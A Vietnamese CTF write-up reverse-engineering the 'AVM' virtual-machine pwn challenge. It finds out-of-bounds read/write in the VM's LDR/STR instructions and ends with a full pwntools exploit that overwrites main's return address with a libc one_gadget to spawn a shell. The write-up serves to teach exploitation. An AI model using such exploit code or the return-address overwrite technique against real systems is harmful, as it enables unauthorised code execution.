Phân tích và Tấn công Mô ảo hóa AVM trong CTF

Phân tích Mô ảo hóa AVM trong CTF CISCN x 长城杯 2024

Đây là một bài tập về mô ảo hóa (VM) dành cho người mới bắt đầu. Tuy nhiên, bài này đòi hỏi nhiều kinh nghiệm trong lĩnh vực reverse engineering. Trước đây, tôi chỉ thực hiện các bài đã có sẵn, nhưng đây là lần đầu tiên tôi giải được một bài VM trong cuộc thi. Vì phương pháp reverse engineering của bài này rất cổ điển, tôi muốn chia sẻ với mọi người.

1. Phân tích ngược chương trình

Hàm main của chương trình như sau:

unsigned __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _BYTE s[3080]; // [rsp+0h] [rbp-C10h] BYREF
  unsigned __int64 v5; // [rsp+C08h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init();
  memset(s, 0, 0x300uLL);
  write(1, "opcode: ", 8uLL);
  read(0, s, 0x300uLL);
  sub_1230(&unk_40C0, s, 768LL);
  sub_19F1(&unk_40C0);
  return v5 - __readfsqword(0x28u);
}

Chương trình cấp phát một vùng nhớ 0x300 byte bằng memset, sau đó ghi ra màn hình "opcode: " và đọc dữ liệu người nhập vào vùng nhớ này. Do đó, biến s chính là opcode đầu vào. Các hàm sub_1230 và sub_19F1 sau đó sẽ xử lý opcode này, và đây chính là chức năng chính của VM.

1.1 Phân tích cấu trúc thanh ghi

Xem trước hàm sub_1230:

_QWORD *__fastcall sub_1230(_QWORD *a1, __int64 opcode, __int64 size)
{
  _QWORD *result; // rax
  int i; // [rsp+24h] [rbp-4h]

  a1[33] = opcode;
  a1[34] = size;
  result = a1;
  a1[32] = 0LL;
  for ( i = 0; i <= 31; ++i )
  {
    result = a1;
    a1[i] = 0LL;
  }
  return result;
}

Vòng lặp for với 32 lần gán giá trị 0 là một thao tác kinh điển để làm trống 32 thanh ghi tổng quát. Ngoài ra, các thao tác gán giá trị cho mảng từ chỉ số 32 đến 34 có nghĩa là:

  • Gán cho thanh ghi thứ 33: địa chỉ cơ sở của opcode
  • Gán cho thanh ghi thứ 34: độ dài tối đa của opcode, có thể được dùng để giới hạn việc đọc chỉ thị,防止 truy cập vượt quá giới hạn.
  • Gán cho thanh ghi thứ 32: giá trị 0, hiện tại chưa rõ mục đích.

Từ đó, có thể định nghĩa cấu trúc như sau trong IDA:

struct thanh_ghi{
   __int64 r[32];
   __int64 unknown;
   __int64 op_base;
   __int64 op_size;
};

Sau đó, hãy phân tích hàm sub_19F1:

unsigned __int64 __fastcall sub_19F1(_QWORD *a1)
{
  unsigned int v2; // [rsp+1Ch] [rbp-114h]
  _BYTE s[264]; // [rsp+20h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+128h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(s, 0, 0x100uLL);
  while ( a1[32] < a1[34] )
  {
    v2 = *(a1[33] + (a1[32] & 0xFFFFFFFFFFFFFFFCLL)) >> 28;
    if ( v2 > 0xA || !v2 )
    {
      puts("Unsupported instruction");
      return v4 - __readfsqword(0x28u);
    }
    (funcs_1AAD[v2])(a1, s);
  }
  return v4 - __readfsqword(0x28u);
}

Chương trình đầu tiên memset 0x100 byte bộ nhớ, và khi thực thi lệnh, nó truyền bộ nhớ này làm tham số: (funcs_1AAD[v2])(a1, s);

Trong đó, v2 xác định thực thi lệnh nào:

v2 = *(a1[33] + (a1[32] & 0xFFFFFFFFFFFFFFFCLL)) >> 28; là quá trình dịch opcode thành chỉ thị. Biết rằng thanh ghi 33 là địa chỉ cơ sở, vậy thanh ghi 32 chính là địa chỉ offset. Tổng hai địa chỉ này sau khi xử lý là địa chỉ chỉ thị hiện tại, dịch phải 28 bit của địa chỉ chỉ thị này chính là mã hoạt động của chỉ thị.

Có thể thấy đây là một tập lệnh định độ dài.

Vì vậy, cấu trúc có thể được sửa đổi như sau:

struct thanh_ghi{
   __int64 r[32];
   __int64 ip;
   __int64 cs;
   __int64 op_size;
};

1.2 Phân tích chỉ thị

Bắt đầu phân tích từ chỉ thị đầu tiên: nội dung đã phân tích như sau:

Reg *__fastcall ADD(Reg *reg)
{
  Reg *result; // rax
  unsigned int PC; // [rsp+10h] [rbp-10h]

  PC = *(reg->cs + (reg->ip & 0xFFFFFFFFFFFFFFFCLL));
  reg->ip += 4LL;
  result = reg;
  reg->r[PC & 0x1F] = reg->r[HIWORD(PC) & 0x1F] + reg->r[(PC >> 5) & 0x1F];
  return result;
}

Mục đích của việc phân tích ngược ở đây là phân tích cách mã hóa chỉ thị:

  • Qua reg->r[PC & 0x1F], có thể thấy 5 bit thấp của chỉ thị được dùng để chỉ định số thứ tự thanh ghi tổng quát (0x1f), và là nơi lưu kết quả hoạt động.
  • Trước đó v2 = *(a1[33] + (a1[32] & 0xFFFFFFFFFFFFFFFCLL)) >> 28;, có thể thấy 36 bit cao (chỉ thị 64 bit định độ dài) hoặc 4 bit cao (chỉ thị 32 bit định độ dài) của chỉ thị được dùng để chỉ định mã hoạt động của chỉ thị.
  • reg->ip += 4LL; cho thấy mỗi đơn vị là 4 byte, đại diện cho chỉ thị là 32 bit.

Mã chỉ thị大致如下: 32bit:

0001 |0000 000|0 0000  | 0000 00| 00 000 |0 0000
mã hoạt động|        |tham chiếu thanh ghi|        | thanh ghi   |thanh ghi
chỉ 1~10          |                 |
             HIWORD(PC) & 0x1F     |
                               (PC >> 5) & 0x1F

Các chỉ thị khác tương tự như vậy. Chỉ có hai chỉ thị khác nhau sau đây:

unsigned __int64 __fastcall STR(Reg *reg, __int64 s)
{
  unsigned __int64 result; // rax
  unsigned int PC; // [rsp+20h] [rbp-20h]
  _QWORD *v4; // [rsp+30h] [rbp-10h]

  PC = *(reg->cs + (reg->ip & 0xFFFFFFFFFFFFFFFCLL));
  reg->ip += 4LL;
  result = byte_4010;
  if ( (reg->r[(PC >> 5) & 0x1F] + BYTE2(PC)) < byte_4010 )
  {
    v4 = ((reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF)) + s);
    *v4 = reg->r[PC & 0x1F];
    return v4;
  }
  return result;
}
Reg *__fastcall LDR(Reg *reg, __int64 s)
{
  Reg *result; // rax
  unsigned __int16 v3; // [rsp+1Eh] [rbp-22h]
  unsigned int PC; // [rsp+20h] [rbp-20h]

  PC = *(reg->cs + (reg->ip & 0xFFFFFFFFFFFFFFFCLL));
  reg->ip += 4LL;
  result = byte_4010;
  if ( (reg->r[(PC >> 5) & 0x1F] + BYTE2(PC)) < byte_4010 )
  {
    result = reg;
    v3 = reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF);
    reg->r[PC & 0x1F] = (*(v3 + s + 7) << 56) | (*(v3 + s + 6) << 48) | (*(v3 + s + 5) << 40) | (*(v3 + s + 4) << 32) | (*(v3 + s + 3) << 24) | (*(v3 + s + 2) << 16) | *(v3 + s);
  }
  return result;
}

byte_4010 lưu giá trị 0xff, câu lệnh if kiểm tra yêu cầu địa chỉ hoạt động sau này nằm trong phạm vi 0x100 của memset trước đó.

Điều kiện kiểm tra như sau:

if ( (unsigned __int8)(reg->r[(PC >> 5) & 0x1F] + BYTE2(PC)) < (unsigned __int8)byte_4010 )

Hoạt động gán của chỉ thị STR:

v4 = ((reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF)) + s);

s là địa chỉ cơ sở của bộ nhớ memset, (reg->r[(PC >> 5) & 0x1F] + (HIWORD(PC) & 0xFFF)) là offset.

Có thể thấy điều kiện kiểm tra là trong 0xff, nhưng hoạt động gán trong if lại có thể ghi dữ liệu trong phạm vi offset s cộng 0x1000.

2. Tấn công khai thác lỗ hổng

Rõ ràng, LDR và STR có lỗ hổng đọc ghi vượt quá giới hạn. Không có hàm xuất, không thể lấy được libc, phương pháp tấn công là:

  1. Xây dựng một chỉ thị LDR để ghi địa chỉ onegadget của tệp đính kèm vào thanh ghi.
  2. Sử dụng chỉ thị SUB để trừ địa chỉ này với offset của onegadget, kết quả được lưu trong thanh ghi chỉ định.
  3. Sử dụng chỉ thị STR để ghi địa chỉ onegadget vào địa chỉ trả về của hàm main.

Giải thích đoạn exp sau: hoạt động sub chỉ có thể hoạt động giữa các thanh ghi. Vì vậy không thể ghi trực tiếp một dữ liệu mong muốn. Phương pháp sử dụng là: thêm vào cuối opcode offset đã tính toán trước giữa onegadget và địa chỉ libc chỉ định, sau đó sử dụng chỉ thị STR để đọc dữ liệu này vào thanh ghi, rồi mới thực hiện sub.

3. Exploit

from ctypes import *
from pwn import *
banary = "/home/giantbranch/PWN/question/CISCN/2025/avm/pwn"
elf = ELF(banary)
# libc = ELF("/home/giantbranch/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc = ELF("/home/giantbranch/PWN/tools/libc-database-master/db/libc6_2.27-3ubuntu1.6_amd64.so")
ip = '8.147.135.93'
port = 37051
local = 1
if local:
    io = process(banary)
else:
    io = remote(ip, port)

# context(log_level = 'debug', os = 'linux', arch = 'amd64')
context(log_level = 'debug', os = 'linux', arch = 'i386')

def protect_ptr(address, next)-> int:
	return (address >> 12)^ next
def dbg():
    gdb.attach(io)
    pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()

def ADD():
    ins = 1
    opcode = ins<<28
    return p32(opcode)
def SUB(target_reg,sub_reg,besub_reg):
    ins = 2
    sub_reg = (sub_reg & 0x1f) << 5
    besub_reg = (besub_reg & 0x1f) << 16 
    opcode = (ins<<28) + (target_reg & 0x1f) + sub_reg + besub_reg
    return p32(opcode)
def STR(reg_idx,offset,store_reg):
    ins = 9
    reg_idx = (reg_idx & 0x1f) << 5
    offset = (offset & 0xfff) << 16
    opcode = (ins<<28) + (store_reg & 0x1f) + reg_idx + offset
    return p32(opcode)
def LDR(reg_idx,offset,save_reg):
    ins = 10
    reg_idx = (reg_idx & 0x1f) << 5
    offset = (offset & 0xfff) << 16
    opcode = (ins<<28) + (save_reg & 0x1f) + reg_idx + offset
    return p32(opcode)

onegadget = 0x249040 - 0x50a47  #libc.sym['_dl_fini']

opcode = LDR(0,0xa40,1) + LDR(0,0x138,2)
opcode += SUB(4,1,2) + STR(0,0x118,4) 
opcode += p64(0)
opcode += p64(onegadget)
# dbg()
sa(b'opcode',opcode)



# 0x50a47 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
# constraints:
#   rsp & 0xf == 0
#   rcx == NULL
#   rbp == NULL || (u16)[rbp] == NULL

# 0xebc81 execve("/bin/sh", r10, [rbp-0x70])
# constraints:
#   address rbp-0x78 is writable
#   [r10] == NULL || r10 == NULL
#   [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

# 0xebc85 execve("/bin/sh", r10, rdx)
# constraints:
#   address rbp-0x78 is writable
#   [r10] == NULL || r10 == NULL
#   [rdx] == NULL || rdx == NULL

# 0xebc88 execve("/bin/sh", rsi, rdx)
# constraints:
#   address rbp-0x78 is writable
#   [rsi] == NULL || rsi == NULL
#   [rdx] == NULL || rdx == NULL


ia()
</pre>

Thẻ: CTF pwn reverse engineering virtual machine exploit

Đăng vào ngày 18 tháng 7 lúc 21:38